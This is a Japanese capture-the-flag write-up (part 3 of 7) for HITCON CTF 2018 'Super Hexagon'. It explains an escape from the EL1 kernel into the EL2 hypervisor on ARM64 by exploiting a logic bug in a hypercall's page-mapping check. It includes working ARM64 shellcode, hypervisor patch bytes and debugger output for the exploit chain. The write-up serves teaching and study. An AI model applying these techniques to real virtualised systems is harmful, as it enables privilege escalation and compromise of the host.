# HITCON CTF 2018 - Super Hexagon (Part 3/7) ###### tags: `trustzone` `ctf` `pwn` `ARM` `Aarch64`, `kernel` `hypervisor` # はじめに この記事は,[CTF Advent Calendar 2020](https://adventar.org/calendars/5338) の5日目の記事です. 4日目は私の「[HITCON CTF 2018 - Super Hexagon (Part 2/7)](https://hackmd.io/@bata24/HJMKyaDfI)」でした. # リンク集 - Part1/7 (EL0) - https://hackmd.io/@bata24/HyMQI7PuB - Part2/7 (EL1) - https://hackmd.io/@bata24/HJMKyaDfI - Part3/7 (EL2) - https://hackmd.io/@bata24/S1bHxavMU - Part4/7 (S-EL0) - https://hackmd.io/@bata24/BJHBSc0g8 - Part5/7 (S-EL0別解) - https://hackmd.io/@bata24/By9QPlFMU - Part6/7 (S-EL1) - https://hackmd.io/@bata24/H1N-W6vf8 - Part7/7 (S-EL3) - https://hackmd.io/@bata24/HJhLZTvGI # EL2の攻略 次はEL2,つまりハイパーバイザのコードを読んでいこう. ここから先は,`svc`(システムコール割り込み),`hvc`(ハイパーコール割り込み),`smc`(セキュアモニタコール割り込み)を理解しておかないと行けない.各割り込みが,どのEL間の遷移に使われるかは,頭に入れておこう.[Understanding Trusted Execution Environments and Arm TrustZone](https://azeria-labs.com/trusted-execution-environments-tee-and-trustzone/)で紹介されている以下の図が参考になるだろう. ![](https://i.imgur.com/oTXVgLY.png) 尚このレベル以降は,`print_flag()`関数がないので,フラグを得るには任意コード実行が必要なことも頭に入れておく必要がある. ## ハイパーバイザの解析 ### ハイパーコールの特定 EL2ハイパーバイザは物理メモリの上でそのまま動いているらしく,IDA上でベースアドレスを`0x40100000`とすれば上手く解析できる. 解析を進めていくとわかるが,ハイパーコール(以下`hvc`)割り込みをハンドリングするコードは以下の部分だ.EL1の時と同様に,EL2割り込みベクトル(`VBAR_EL2+0x400`)を辿ることで行き着くことが出来る. ![](https://i.imgur.com/n4pzDa0.png) 最初に`EC`(Exception Class)の値判定をしている.これは割り込み原因を意味しており,64bit環境での`hvc`命令による割り込みでは`EC=0x16`,`smc`命令による割り込みでは`EC=0x17`である.全ての`EC`のリストは以下を見るのが早い.https://github.com/torvalds/linux/blob/master/arch/arm64/include/asm/esr.h EL1から`hvc`で割り込みがかかった場合は`EC=0x16`になっているはずなので,最初の`if`文の分岐に入る.ここでは`hvc`番号`1`の,`map_frame()`と名付けた処理のみが存在する. ### EL2によるページ変換 `map_frame()`を見る前に,少しここで解説を入れておこう. そもそもこの`map_frame()`を呼び出すような処理が`hvc`によってEL1から呼ばれるケースは,EL1カーネル内の`do_mprotect()`や`do_mprotect_kernel()`が呼ばれた時だけである. 従って`map_frame()`はページテーブルの処理を行う関数だとこの時点で察しが付く.一応EL1側の呼び出しコードを貼っておく. ![](https://i.imgur.com/CEs3anN.png) ![](https://i.imgur.com/S9gs9k1.png) さてEL1カーネルでページを確保した際に,わざわざEL2ハイパーバイザも呼び出しているわけだが,何故だろうか.その理由は,ハイパーバイザが存在する場合は二段階の仮想メモリを使うからである. ハイパーバイザの存在する環境では,EL1カーネルが物理メモリを割り当てて仮想アドレスとしてMMUに追加するだけでは不十分である.なぜならEL1が物理メモリだと考えているアドレスですら,実際は別の物理メモリアドレスを指す仮想アドレスであるからだ(このEL1の物理メモリのことを`IPA`: Intermediate Physical Address; 中間物理アドレスと呼ぶ).正確な物理メモリへの変換はEL2にて行われ,ハイパーバイザが持つページテーブルエントリで管理される.つまりEL1は,作成したメモリをEL2へ通知して管理してもらう必要がある. ### EL2ページテーブルエントリについて 尚EL2が管理するページテーブルエントリは,EL1の攻略時に示したEL1のページテーブルエントリとほぼ同じである.しかし段数(レベル)は二段で,最終レベルの`D_Page`における,`Upper attributes`/`Lower attributes`の属性だけ少し異なるので,貼っておく. ![](https://i.imgur.com/351Uk8n.png) ちなみにこちらはEL1のときの`D_Page`だ.比較用に参考までに貼っておく. ![](https://i.imgur.com/txOBce6.png) 尚,EL1とEL2のページテーブルにおける`D_Page`の重要な違いは,以下の通りである. - `AP`(Access Permission)が`S2AP`(Stage 2 Access Permission)という名称に変更されている - `S2AP`や`XN`は,EL1のページテーブルの`AP`や`PXN`や`UXN`と比べて,ビット解釈が若干異なる 全部のメンバを書いたわけではないので注意してほしいが,上記で述べた重要な違いは,以下のIDAのenum定義を見るとわかりやすいだろう. ![](https://i.imgur.com/OuwlsUn.png) 一応実際のメモリ中の値も書いておこう. ```= (gdb) i r cpsr cpsr 0x800003c4 -2147482684 (gdb) set $cpsr = 0x800003c8 // cpsrが現在のELを表している. // 強制的にEL2に見せかけないと当該メモリにアクセスできない (gdb) i r VTTBR_EL2 VTTBR_EL2 0x40106000 1074814976 (gdb) x/20xg $VTTBR_EL2 // レベル0 0x40106000: 0x0000000040107003 0x0000000000000000 0x40106010: 0x0000000000000000 0x0000000000000000 0x40106020: 0x0000000000000000 0x0000000000000000 0x40106030: 0x0000000000000000 0x0000000000000000 0x40106040: 0x0000000000000000 0x0000000000000000 0x40106050: 0x0000000000000000 0x0000000000000000 0x40106060: 0x0000000000000000 0x0000000000000000 0x40106070: 0x0000000000000000 0x0000000000000000 0x40106080: 0x0000000000000000 0x0000000000000000 0x40106090: 0x0000000000000000 0x0000000000000000 (gdb) x/20xg 0x0000000040107000 // レベル1 0x40107000: 0x0000000040000443 0x0000000040001443 0x40107010: 0x0000000040002443 0x0000000040003443 0x40107020: 0x0000000040004443 0x0000000040005443 0x40107030: 0x0000000040006443 0x0000000040007443 0x40107040: 0x0000000040008443 0x0000000040009443 0x40107050: 0x000000004000a443 0x000000004000b443 0x40107060: 0x004000004000c4c3 0x004000004000d4c3 0x40107070: 0x004000004000e4c3 0x004000004000f4c3 0x40107080: 0x00400000400104c3 0x00400000400114c3 0x40107090: 0x00400000400124c3 0x00400000400134c3 (gdb) set $cpsr = 0x800003c4 # // cpsrを元に戻す (gdb) ``` `pagewalk`に引数を指定すると,そのELにおけるページテーブルを辿ることができる. EL2のページテーブルを辿ると,以下のような値になっていた.分かりやすさのため,カーネル空間とユーザ空間の,どちらの目的で確保されている領域なのかをコメントにも書いておいた(EL1の2つのページテーブルと突き合わせただけ). ```= (gdb) pagewalk 2 Moving to EL2 CPSR: EL2 PA Size: 32-bits EL2 Starting Level: 0 EL2 Region Max: 0x0000000001ffffff EL2 Page Size: 4KB Entries/table: 512 Levels: 2 0000000000000000: 0x0000000040000000 [ELx/RO] // カーネル(code) 0000000000001000: 0x0000000040001000 [ELx/RO] // カーネル(code) 0000000000002000: 0x0000000040002000 [ELx/RO] // カーネル(code) 0000000000003000: 0x0000000040003000 [ELx/RO] // カーネル(code) 0000000000004000: 0x0000000040004000 [ELx/RO] // カーネル(code) 0000000000005000: 0x0000000040005000 [ELx/RO] // カーネル(code) 0000000000006000: 0x0000000040006000 [ELx/RO] // カーネル(code) 0000000000007000: 0x0000000040007000 [ELx/RO] // カーネル(code) 0000000000008000: 0x0000000040008000 [ELx/RO] // カーネル(code) 0000000000009000: 0x0000000040009000 [ELx/RO] // カーネル(code) 000000000000a000: 0x000000004000a000 [ELx/RO] // カーネル(code) 000000000000b000: 0x000000004000b000 [ELx/RO] // ??? 000000000000c000: 0x000000004000c000 [UXN PXN ELx/RW] // カーネル(data) 000000000000d000: 0x000000004000d000 [UXN PXN ELx/RW] // カーネル(data) 000000000000e000: 0x000000004000e000 [UXN PXN ELx/RW] // カーネル(data) 000000000000f000: 0x000000004000f000 [UXN PXN ELx/RW] // カーネル(data) 0000000000010000: 0x0000000040010000 [UXN PXN ELx/RW] // カーネル(data) 0000000000011000: 0x0000000040011000 [UXN PXN ELx/RW] // カーネル(data) 0000000000012000: 0x0000000040012000 [UXN PXN ELx/RW] // カーネル(data) 0000000000013000: 0x0000000040013000 [UXN PXN ELx/RW] // カーネル(data) 0000000000014000: 0x0000000040014000 [UXN PXN ELx/RW] // カーネル(data) 0000000000015000: 0x0000000040015000 [UXN PXN ELx/RW] // カーネル(data) 0000000000016000: 0x0000000040016000 [UXN PXN ELx/RW] // カーネル(data) 0000000000017000: 0x0000000040017000 [UXN PXN ELx/RW] // カーネル(data) 0000000000018000: 0x0000000040018000 [UXN PXN ELx/RW] // カーネル(data) 0000000000019000: 0x0000000040019000 [UXN PXN ELx/RW] // カーネル(data) 000000000001a000: 0x000000004001a000 [UXN PXN ELx/RW] // カーネル(data) 000000000001b000: 0x000000004001b000 [UXN PXN ELx/RW] // カーネル(data) 000000000001c000: 0x000000004001c000 [UXN PXN ELx/RW] // カーネル(data) 000000000001d000: 0x000000004001d000 [UXN PXN ELx/RW] // カーネル(data) 000000000001e000: 0x000000004001e000 [UXN PXN ELx/RW] // カーネル(data) 000000000001f000: 0x000000004001f000 [UXN PXN ELx/RW] // カーネル(data) 0000000000020000: 0x0000000040020000 [UXN PXN ELx/RW] // カーネル(data) 0000000000021000: 0x0000000040021000 [UXN PXN ELx/RW] // カーネル(data) 0000000000022000: 0x0000000040022000 [UXN PXN ELx/RW] // カーネル(data) 0000000000023000: 0x0000000040023000 [UXN PXN ELx/RW] // カーネル(data) 0000000000024000: 0x0000000040024000 [UXN PXN ELx/RW] // カーネル(data) 0000000000025000: 0x0000000040025000 [UXN PXN ELx/RW] // カーネル(data) 0000000000026000: 0x0000000040026000 [UXN PXN ELx/RW] // カーネル(data) 0000000000027000: 0x0000000040027000 [UXN PXN ELx/RW] // カーネル(data) 0000000000028000: 0x0000000040028000 [UXN PXN ELx/RW] // カーネル(data) 0000000000029000: 0x0000000040029000 [UXN PXN ELx/RW] // カーネル(data) 000000000002a000: 0x000000004002a000 [UXN PXN ELx/RW] // カーネル(data) 000000000002b000: 0x000000004002b000 [UXN PXN ELx/RW] // カーネル(data) 000000000002c000: 0x000000004002c000 [ELx/RO] // カーネル(data) && ユーザ(code) 000000000002d000: 0x000000004002d000 [ELx/RO] // カーネル(data) && ユーザ(code) 000000000002e000: 0x000000004002e000 [ELx/RO] // カーネル(data) && ユーザ(code) 000000000002f000: 0x000000004002f000 [UXN PXN ELx/RW] // カーネル(data) && ユーザ(data) 0000000000030000: 0x0000000040030000 [UXN PXN ELx/RW] // カーネル(data) && ユーザ(data) 0000000000031000: 0x0000000040031000 [UXN PXN ELx/RW] // カーネル(data) && ユーザ(data) 0000000000032000: 0x0000000040032000 [UXN PXN ELx/RW] // カーネル(data) && ユーザ(data) 0000000000033000: 0x0000000040033000 [UXN PXN ELx/RW] // カーネル(data) && ユーザ(data) 0000000000034000: 0x0000000040034000 [ELx/RO] // カーネル(data) && ユーザ(code) 0000000000035000: 0x0000000040035000 [ELx/RO] // カーネル(data) && ユーザ(code) 0000000000036000: 0x0000000040036000 [ELx/RO] // カーネル(data) && ユーザ(code) 0000000000037000: 0x0000000040037000 [UXN PXN ELx/RW] // カーネル(data) && ユーザ(data) 0000000000038000: 0x0000000040038000 [UXN PXN ELx/RW] // カーネル(data) 0000000000039000: 0x0000000040039000 [UXN PXN ELx/RW] // カーネル(data) 000000000003a000: 0x000000004003a000 [UXN PXN ELx/RW] // カーネル(data) 000000000003b000: 0x0000000009000000 [UXN PXN ELx/RW] // UART Moving back to EL1 (gdb) ``` 見て分かる通り,ここにはカーネル空間とユーザ空間(とUART)の領域しかなく,ハイパーバイザ自身のメモリ空間は管理されていない. ### `map_frame`の処理 `hvc`ハンドラの解析に戻ろう. `map_frame()`の処理は以下の通り.EL1カーネルから呼び出せる`hvc`はこれしか無いので,普通に考えれば,CTF的にはここにバグがあるはずだ. ![](https://i.imgur.com/zd9BNnU.png) さて,コードのやっていることは以下の通りだ. - `phys_addr`(EL1カーネルから見た物理アドレスのことだが,実際は中間物理アドレス)と`attributes`が渡される - `phys_addr`が`0x3b000`のときはUARTのページテーブルを作成 - `phys_addr`が`0x3c000`以上のときはNG - `phys_addr`が`0x100000`~の位置にハイパーバイザがあるため,触らせないようにする目的 - 上限がハイパーバイザの始まる`0x100000`ではなくUART直下の`0x3c000`にされているのは,そもそもEL1カーネル+UARTを合わせて`0x3c000`までしか使わないように設計されているためと思われる - `phys_addr`が`0xc000`未満で,writableな領域はNG - `attributes`にPXNもUXNもなくwritableな領域(=`RWX`)はNG - 問題がなければ,`(phys_addr + 0x40000000) | attributes` をページテーブルに追加 参考までに物理メモリのマッピング状況も再掲しておこう. ![](https://i.imgur.com/RJgFZP0.png) また判明している`svc`と`hvc`の関係については下記の通りだ. | | `read()` | `write()` | `mmap()` | `mprotect()` | `exit()` | |:-:|:-:|:-:|:-:|:-:|:-:| | EL0<br>`svc`番号と<br>引数 | `0x3f`, `fd`, `buf`, `len` | `0x40`, `fd`, `buf`, `len` | `0xde`, `addr`, `length`, `prot` | `0xe2`, `addr`, `length`, `prot` | `0x5d` | | | ↓ | ↓ | ↓ | ↓ | ↓ | | EL1<br>処理概要 | `stdin`から<br>`1`バイト読み込む<br>(`fd`は無視) | `stdout`へ<br>`len`バイト書き出す<br>(`fd`は無視) | メモリを確保<br>(第4~6引数は無視) | メモリの<br>属性変更 | 終了<br>(第1引数は無視) | | EL1<br>`hvc`番号と<br>引数 | - | - | `0x1`, `phys_addr`, `el2_attributes` | `0x1`, `phys_addr`, `el2_attributes` | - | | | - | - | ↓ | ↓ | - | | EL2<br>処理概要 | - | - | EL2ページテーブルの更新 | EL2ページテーブルの更新 | - | ### 脆弱性 `map_frame()`の処理は一見問題がなさそうに見えるが,実はロジックバグがある. `phys_addr`と`attributes`は個別には検証されているが,最終的にはORされてしまう.そして`phys_addr`も`attributes`も,チェックすべき部分以外のフォーマット検証はされていない点が問題だ. 具体的な説明の前に,少し状況を整理しよう. - 我々は今EL1で任意コード実行を達成できている. - これからEL2に権限昇格したい.つまりハイパーバイザのコードを書き換えたい. - つまりEL1カーネルから,EL2ハイパーバイザのコードのある物理メモリへアクセスできなければならない. - 従ってEL2ハイパーバイザのコード領域を,EL1ページテーブルとEL2ページテーブルに追加しなければならない. - EL1ページテーブルは,EL1カーネル自身が管理しているので,どうにでもなるため後で考えるものとする. - EL2ページテーブルは,EL2ハイパーバイザが管理している.ここにEL2ハイパーバイザのコード領域を登録する必要がある. しかし,EL2ページテーブルに対し,素直にEL2ハイパーバイザのコード領域を登録することはできない.EL2ハイパーバイザのコード領域は`phys_addr = 0x100000`であるが,指定するとチェックで弾かれてしまう.また`attributes = RWX`を指定してもNGである. しかし,これらを入れ替えて`phys_addr = RWX`, `attributes = 0x100000`と指定するとどうだろうか.つまり以下のようにするのだ. - `map_frame(phys_addr, attributes)` - `map_frame(0x100000, RWX)` : 弾かれる - `map_frame(RWX, 0x100000)` : 弾かれない すると全ての条件をクリアしつつ,最終的にORされることで望む結果を得ることができてしまう.つまりハイパーバイザのコード領域を,`RWX`な状態でEL2のページテーブルに追加できるはずだ. ### EL2ページテーブルの偽造 では実際にやってみよう.EL1のシェルコードとして以下を動かす. ```= el1_sc = """ .section .text .global _start _start: # print el1 flag ldr x8, =0xffffffffc0008408 ;# print_flag blr x8 # insert hypervisor memory to EL2 pagetable mov x0, #1 ;# hvc_map_frame mov x1, #0x4c3 ;# phys_addr (EL2_ACCESSED|EL2_S2AP_READ_WRITE|EL2_PAGE) mov x2, #0x100000 ;# attributes mov x3, #0 ;# unused hvc 0 next: b next ;# inf loop for gdb attach # exit mov x8, 0x5d svc 0 """ ``` すると,ページテーブルが以下のようになった. ```= (gdb) pagewalk 2 Moving to EL2 CPSR: EL2 PA Size: 32-bits EL2 Starting Level: 0 EL2 Region Max: 0x0000000001ffffff EL2 Page Size: 4KB Entries/table: 512 Levels: 2 0000000000000000: 0x0000000040100000 [ELx/RW] ★ 0000000000001000: 0x0000000040001000 [ELx/RO] 0000000000002000: 0x0000000040002000 [ELx/RO] 0000000000003000: 0x0000000040003000 [ELx/RO] ... (gdb) x/10xg 0xffffffffc0000000 ★中身はハイパーバイザのコード 0xffffffffc0000000: 0xd51cc0001000c000 0x58000160d5033fdf 0xffffffffc0000010: 0x9400021358000181 0x58000160d50040bf 0xffffffffc0000020: 0x9400000b9100001f 0x94000065940000e2 0xffffffffc0000030: 0x00000000940001fa 0x0000000040105000 0xffffffffc0000040: 0x000000000000d000 0x0000000040104040 (gdb) ``` ちなみに`hvc`を発行する前はこの様な値なので,確かにマッピングが書き換わっている. ```= (gdb) pagewalk 2 Moving to EL2 CPSR: EL2 PA Size: 32-bits EL2 Starting Level: 0 EL2 Region Max: 0x0000000001ffffff EL2 Page Size: 4KB Entries/table: 512 Levels: 2 0000000000000000: 0x0000000040000000 [ELx/RO] ★ 0000000000001000: 0x0000000040001000 [ELx/RO] 0000000000002000: 0x0000000040002000 [ELx/RO] 0000000000003000: 0x0000000040003000 [ELx/RO] ... (gdb) x/10xg 0xffffffffc0000000 ★本来はカーネルのコードがある 0xffffffffc0000000: 0xd518200010008000 0xd51820201001ffc0 0xffffffffc0000010: 0xf2b00200d2800200 0xd5182040f2c00c00 0xffffffffc0000020: 0xd5381000d5033fdf 0xd5181000b2400000 0xffffffffc0000030: 0xb26287e0d5033fdf 0x8b0100001003fe41 0xffffffffc0000040: 0xd503201fd61f0000 0xd503201fd503201f ``` これによって,中間物理メモリ`0x0`にアクセスさえできれば,ハイパーバイザのコードを変更できるようになった. ### EL1ページテーブルの偽造 上記で示したマッピングはEL2のページテーブルの話である. EL1のページテーブルのマッピングにおいて,中間物理メモリの`0x0`を意味する仮想メモリは,まだ読み書きアクセスができない. ```= (gdb) pagewalk CPSR: EL1 IPA Size: 32-bits EL1 Kernel Region Min: 0xffff000000000000 EL1 Kernel Page Size: 4KB EL1 User Region Max: 0x0000ffffffffffff EL1 User Page Size: 4KB User Mode Page Tables Entries/table: 512 Levels: 4 ... Kernel Mode Page Tables Entries/table: 512 Levels: 4 ffffffffc0000000: 0x0000000000000000 [UXN EL1/RO] ★RWではなくRX ffffffffc0001000: 0x0000000000001000 [UXN EL1/RO] ffffffffc0002000: 0x0000000000002000 [UXN EL1/RO] ffffffffc0003000: 0x0000000000003000 [UXN EL1/RO] ffffffffc0004000: 0x0000000000004000 [UXN EL1/RO] ``` このためEL1ページテーブルの属性も変更する必要がある.その方法は2つある. 1. EL1のページテーブルの属性を直接変更する方法 - チーム`PPP`が取った手法 ```= # update mapping from RX to RWX ldr x1, =0xffffffffc001e000 ;# addr of D_Page mov x0, #0x403 ;# attributes|phys_addr (EL1_PAGE|EL1_ACCESSED) str x0, [x1] # 0xffffffffc0000000にアクセスすると中間物理メモリ0x0にアクセスすることになる ``` ちなみに`0xffffffffc001e000`の本来の値は以下の通り.`UXN`フラグを落としただけである. ```= (gdb) x/16xg 0xffffffffc001e000 0xffffffffc001e000: 0x0040000000000483 ★ 0x0040000000001483 0xffffffffc001e010: 0x0040000000002483 0x0040000000003483 0xffffffffc001e020: 0x0040000000004483 0x0040000000005483 0xffffffffc001e030: 0x0040000000006483 0x0040000000007483 0xffffffffc001e040: 0x0040000000008483 0x0040000000009483 0xffffffffc001e050: 0x004000000000a483 0x0000000000000000 0xffffffffc001e060: 0x006000000000c403 0x006000000000d403 0xffffffffc001e070: 0x006000000000e403 0x006000000000f403 ``` 2. 正規の方法でページテーブルにエントリを追加する方法 - チーム`Kernel Sanders`が取った手法 ```= # update mapping from unused area to phys[0] in EL1 pagetable ldr x22, =0xFFFFFFFFC0008750 ;# update_page_table(level, pte_root, virt_addr, attributes|phys_addr) mov x0, #0 ;# level ldr x1, =0xffffffffc001b000 ;# &virt_page_table_entry ldr x2, =0xffffffffc003a000 ;# virt_addr (any RW area) ldr x3, =0x0060000000000403 ;# attributes (ELx_AP_READ_WRITE|EL1_PAGE|EL1_PXN|EL1_UXN) blr x22 # 0xffffffffc003a000にアクセスすると中間物理メモリ0x0にアクセスすることになる ``` 簡単のため,以降は前者を使って実装する. ## 任意コード実行へ あとはハイパーバイザのコードを書き換えてしまえば良い.例えば`hvc`番号`1`の`map_frame()`を特殊な引数とともに呼び出したとき,シェルコードに制御を移すようにすればよいだろう. 今回はEL2ハイパーバイザのコードに以下のようなパッチを当てた.図の下方の黄色のところから3行分である. ![](https://i.imgur.com/Sff5v3d.png) ちなみにオリジナルのコードは以下の通りだ. ![](https://i.imgur.com/6bYyNeL.png) パッチを当てたのは,本来`phys_addr > 0x3bfff`の場合のエラー処理であった`0x40100294`~`0x401002a0`の`12`バイトである.この部分は,実行されると最終的に`abort()`するものであったため,使わないはずであることから,この領域を潰してハイパーバイザの先頭に飛ぶようにした. またハイパーバイザの先頭は,起動時にEL2のセットアップ目的で実行するだけである.一度EL2が起動したら以降は利用しないので,多少は潰しても大丈夫だ.従ってここにEL2シェルコードを書き込めば良い.EL2シェルコードを実行し終わったら,今後も見据えて正常にリターンしたいので,`loc_40100244`へ戻ってスタックを調整しつつリターンするようにしておく. ```= # patch (jmp to shellcode) ldr x22, =0xffffffffc0000000 ;# EL2 base addr (seen from EL1) ldr w0, =0xd2a80216 ;# mov x22, hypervisor_start str w0, [x22, #0x294] ldr w0, =0xd63f02c0 ;# blr x22 str w0, [x22, #0x298] ldr w0, =0x97ffffea ;# b loc_40100244 str w0, [x22, #0x29c] ``` ハイパーバイザの先頭に書き込むEL2シェルコードは,EL1シェルコードの末尾に配置しておき,擬似的な`memcpy()`で`0xffffffffc0000000`へコピーするようにした(シェルコードのサイズは`0x100`バイト固定とした). ```= # load EL2 shellcode ldr x22, =0xffffffffc0000000 ;# dst (EL2 base addr) adr x23, EL2_SHELLCODE ;# srcs mov x24, #0 ;# i readloop: ldr w0, [x23, x24] str w0, [x22, x24] add x24, x24, #4 cmp x24, #0x100 bne readloop # invoke EL2 shellcode mov x0, #1 ;# hvc_map_frame mov x1, #0x3C0000 ;# phys_addr mov x2, #0 ;# attributes mov x3, #0 ;# unused hvc 0 .pool EL2_SHELLCODE: ;# これ以降は任意に差し替えられる .byte 0x0, 0x0, 0x0, 0x14 ;# 仮で4バイトの無限ループコードを書いておいた ``` 注意点として,アセンブリ中では`ldr REG, =0xXXXX`という形の命令を利用している.従って生成されたアセンブリには,リテラルプールとして定数データが末尾にくっついてしまう. しかし末尾にはシェルコードを配置したいので,リテラルプールはそれよりも前に配置する必要がある. これを解決するのが`.pool`指定である.これを指定すると,リテラルプール領域を任意に配置することができるので,シェルコードよりも前に持ってくることができる. ### exploit EL2で任意コード実行を行うexploitの実装は以下のようになる.EL2以降はフラグを表示する関数が用意されていないため,フラグをレジスタから読み取るためのアセンブリを自前で書く必要がある. :::spoiler Click {%gist bata24/3595a6106cc0ef08ca4fe5d2a009419e %} ::: ---- # 続く 明日は私の[HITCON CTF 2018 - Super Hexagon (Part 4/7)](https://hackmd.io/@bata24/BJHBSc0g8)です.(公開日になるまで閲覧できません)